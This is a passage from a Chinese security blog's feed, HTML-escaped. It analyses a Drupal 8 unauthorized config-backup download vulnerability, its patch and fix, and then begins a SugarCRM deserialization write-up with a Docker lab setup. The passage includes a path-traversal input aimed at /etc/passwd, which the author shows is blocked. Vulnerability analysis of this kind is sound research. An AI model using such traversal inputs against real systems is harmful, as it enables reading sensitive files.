  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$scheme&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'temporary'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$target&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'config.tar.gz'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$request&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;\Drupal&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$date&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;DateTime&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;createFromFormat&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'U'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$request&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;server&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'REQUEST_TIME'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$date_string&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$date&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'Y-m-d-H-i'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$hostname&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str_replace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'.'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'-'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$request&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getHttpHost&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$filename&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'config'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'-'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$hostname&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'-'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$date_string&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'.tar.gz'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$disposition&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'attachment; filename=&quot;'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$filename&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'&quot;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
      &lt;span class=&quot;s1&quot;&gt;'Content-disposition'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$disposition&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;可以看到当且仅当文件是&lt;code class=&quot;highlighter-rouge&quot;&gt;config.tar.gz&lt;/code&gt;时设置响应头以供下载，最后当返回到&lt;code class=&quot;highlighter-rouge&quot;&gt;download&lt;/code&gt;函数时，执行如下语句：&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;BinaryFileResponse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$uri&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$scheme&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'private'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;将最终的响应返回给了用户，从而触发了下载漏洞。&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2016-09-22-download.png&quot; alt=&quot;Alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;到这里有一个想法，我们可不可以传入&lt;code class=&quot;highlighter-rouge&quot;&gt;../../etc/passwd\x00config.tar.gz&lt;/code&gt;这样的参数来截断并且跳到别的目录呢？&lt;/p&gt;

&lt;p&gt;我们看一下在&lt;code class=&quot;highlighter-rouge&quot;&gt;core/lib/Drupal/Core/StreamWrapper/LocalStream.php&lt;/code&gt;中第120到144行的&lt;code class=&quot;highlighter-rouge&quot;&gt;getLocalPath()&lt;/code&gt;函数，它在上面提到的&lt;code class=&quot;highlighter-rouge&quot;&gt;url_stat&lt;/code&gt;函数中被调用：&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;protected&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;getLocalPath&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$uri&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$uri&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;nv&quot;&gt;$uri&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;uri&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getDirectoryPath&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'/'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getTarget&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$uri&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;strpos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'vfs://'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;nv&quot;&gt;$realpath&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;realpath&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$realpath&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;c1&quot;&gt;// This file does not yet exist.
&lt;/span&gt;      &lt;span class=&quot;nv&quot;&gt;$realpath&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;realpath&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;dirname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'/'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;drupal_basename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$directory&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;realpath&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getDirectoryPath&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$realpath&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$directory&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;strpos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$realpath&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$directory&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FALSE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$realpath&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;可以看到路径中的&lt;code class=&quot;highlighter-rouge&quot;&gt;../&lt;/code&gt;被&lt;code class=&quot;highlighter-rouge&quot;&gt;realpath&lt;/code&gt;过滤，跳出&lt;code class=&quot;highlighter-rouge&quot;&gt;/tmp&lt;/code&gt;的目的也就不能达到了。&lt;/p&gt;

&lt;p&gt;另外还有一个方面，&lt;code class=&quot;highlighter-rouge&quot;&gt;config_file_download&lt;/code&gt;函数比较苛刻，只允许下载&lt;code class=&quot;highlighter-rouge&quot;&gt;config.tar.gz&lt;/code&gt;，而&lt;code class=&quot;highlighter-rouge&quot;&gt;image_file_download&lt;/code&gt;是为了下载图片，那么&lt;code class=&quot;highlighter-rouge&quot;&gt;file_file_download&lt;/code&gt;函数能否供我们利用以下载系统的敏感文件呢？&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;file_file_download&lt;/code&gt;函数在&lt;code class=&quot;highlighter-rouge&quot;&gt;core/modules/file/file.module&lt;/code&gt;中第582-633行：&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;file_file_download&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$uri&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;// Get the file record based on the URI. If not in the database just return.
&lt;/span&gt;  &lt;span class=&quot;sd&quot;&gt;/** @var \Drupal\file\FileInterface[] $files */&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;$files&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;entity_load_multiple_by_properties&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'file'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'uri'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$uri&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$files&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;foreach&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$files&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$item&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$item&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getFileUri&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$uri&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$file&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$item&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;有以下三点：&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;根据注释可以看到该函数是根据&lt;code class=&quot;highlighter-rouge&quot;&gt;uri&lt;/code&gt;来查询数据库中的文件记录再进行下载&lt;/li&gt;
  &lt;li&gt;我们请求中的&lt;code class=&quot;highlighter-rouge&quot;&gt;$scheme&lt;/code&gt;为&lt;code class=&quot;highlighter-rouge&quot;&gt;temporary&lt;/code&gt;，在&lt;code class=&quot;highlighter-rouge&quot;&gt;file_stream_wrapper_valid_scheme($scheme) &amp;amp;&amp;amp; file_exists($uri)&lt;/code&gt;限制了我们只能下载&lt;code class=&quot;highlighter-rouge&quot;&gt;/tmp&lt;/code&gt;目录下存在的文件&lt;/li&gt;
  &lt;li&gt;默认&lt;code class=&quot;highlighter-rouge&quot;&gt;/tmp&lt;/code&gt;下除了&lt;code class=&quot;highlighter-rouge&quot;&gt;config.tar.gz&lt;/code&gt;只有&lt;code class=&quot;highlighter-rouge&quot;&gt;.htaccess&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;综合这三点来看&lt;code class=&quot;highlighter-rouge&quot;&gt;file_file_download&lt;/code&gt;函数是不存在下载漏洞的。&lt;/p&gt;

&lt;p&gt;所以总的来说该漏洞只能在管理员导出备份的情况下下载&lt;code class=&quot;highlighter-rouge&quot;&gt;/tmp/config.tar.gz&lt;/code&gt;。&lt;/p&gt;

&lt;h3 id=&quot;3补丁分析&quot;&gt;3.补丁分析&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;/images/2016-09-22-patch.png&quot; alt=&quot;Alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;增加了权限验证，使未授权用户不能下载&lt;code class=&quot;highlighter-rouge&quot;&gt;cnofig.tar.gz&lt;/code&gt;。&lt;/p&gt;

&lt;h2 id=&quot;0x02-修复方案&quot;&gt;0x02 修复方案&lt;/h2&gt;

&lt;p&gt;升级Drupal到8.1.10&lt;/p&gt;

&lt;h2 id=&quot;0x03-参考&quot;&gt;0x03 参考&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://www.drupal.org/SA-CORE-2016-004&quot;&gt;https://www.drupal.org/SA-CORE-2016-004&lt;/a&gt;&lt;/p&gt;
</description>
        <pubDate>Thu, 22 Sep 2016 00:00:00 +0000</pubDate>
        <link>http://imp0wd3r.github.io/2016/09/22/drupal-config-download.html</link>
        <guid isPermaLink="true">http://imp0wd3r.github.io/2016/09/22/drupal-config-download.html</guid>
        
        
      </item>
    
      <item>
        <title>SugarCRM v6.5.23 PHP反序列化对象注入漏洞</title>
        <description>&lt;h2 id=&quot;0x00-漏洞概述&quot;&gt;0x00 漏洞概述&lt;/h2&gt;

&lt;h3 id=&quot;1漏洞简介&quot;&gt;1.漏洞简介&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;http://www.sugarcrm.com/&quot;&gt;SugarCRM&lt;/a&gt;是一套开源的客户关系管理系统。近期研究者发现在其&amp;lt;=6.5.23的版本中存在反序列化漏洞，程序对攻击者恶意构造的序列化数据进行了反序列化的处理，从而使攻击者可以在未授权状态下执行任意代码。&lt;/p&gt;

&lt;h3 id=&quot;2漏洞影响&quot;&gt;2.漏洞影响&lt;/h3&gt;

&lt;p&gt;未授权状态下任意代码执行&lt;/p&gt;

&lt;h3 id=&quot;3影响版本&quot;&gt;3.影响版本&lt;/h3&gt;

&lt;p&gt;SugarCRM &amp;lt;= 6.5.23&lt;/p&gt;

&lt;p&gt;PHP5 &amp;lt; 5.6.25&lt;/p&gt;

&lt;p&gt;PHP7 &amp;lt; 7.0.10&lt;/p&gt;

&lt;h2 id=&quot;0x01-漏洞复现&quot;&gt;0x01 漏洞复现&lt;/h2&gt;

&lt;h3 id=&quot;1-环境搭建&quot;&gt;1. 环境搭建&lt;/h3&gt;

&lt;p&gt;Dockerfile:&lt;/p&gt;

&lt;div class=&quot;language-dockerfile highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; php:5.6-apache&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# Install php extensions&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;RUN &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;deb http://mirrors.163.com/debian/ jessie main non-free contrib&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; /etc/apt/sources.list &lt;span class=&quot;se&quot;&gt;\
&lt;/span&gt;    &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; /etc/apt/sources.list &lt;span class=&quot;se&quot;&gt;\
&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;RUN &lt;/span&gt;apt-get update &lt;span class=&quot;se&quot;&gt;\
&lt;/span&gt;    &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; apt-get install &lt;span class=&quot;nt&quot;&gt;-y&lt;/span&gt; libpng12-dev libjpeg-dev wget &lt;span class=&quot;se&quot;&gt;\
&lt;/span&gt;    &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; docker-php-ext-configure gd &lt;span class=&quot;nt&quot;&gt;--with-png-dir&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/usr &lt;span class=&quot;nt&quot;&gt;--with-jpeg-dir&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/usr &lt;span class=&quot;se&quot;&gt;\
&lt;/span&gt;    &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; docker-php-ext-install &lt;span class=&quot;nt&quot;&gt;-j&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;$(&lt;/span&gt;nproc&lt;span class=&quot;k&quot;&gt;)&lt;/span&gt; mysqli gd zip


&lt;span class=&quot;c&quot;&gt;# Download and Extract SugarCRM&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;RUN &lt;/span&gt;wget https://codeload.github.com/sugarcrm/sugarcrm_dev/tar.gz/6.5.23 &lt;span class=&quot;nt&quot;&gt;-O&lt;/span&gt; src.tar.gz &lt;span class=&quot;se&quot;&gt;\
&lt;/span&gt;	&lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;tar&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-zxvf&lt;/span&gt; src.tar.gz &lt;span class=&quot;se&quot;&gt;\
&lt;/span&gt;	&lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; mv sugarcrm_dev-6.5.23/&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt; /var/www/html &lt;span class=&quot;se&quot;&gt;\
&lt;/span&gt;	&lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; rm src.tar.gz
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;docker build &lt;span class=&quot;nt&quot;&gt;-t&lt;/span&gt; sugarcrm &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
docker run &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; 80:80 sugarcrm
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;2基础准备&quot;&gt;2.基础准备&lt;/h3&gt;

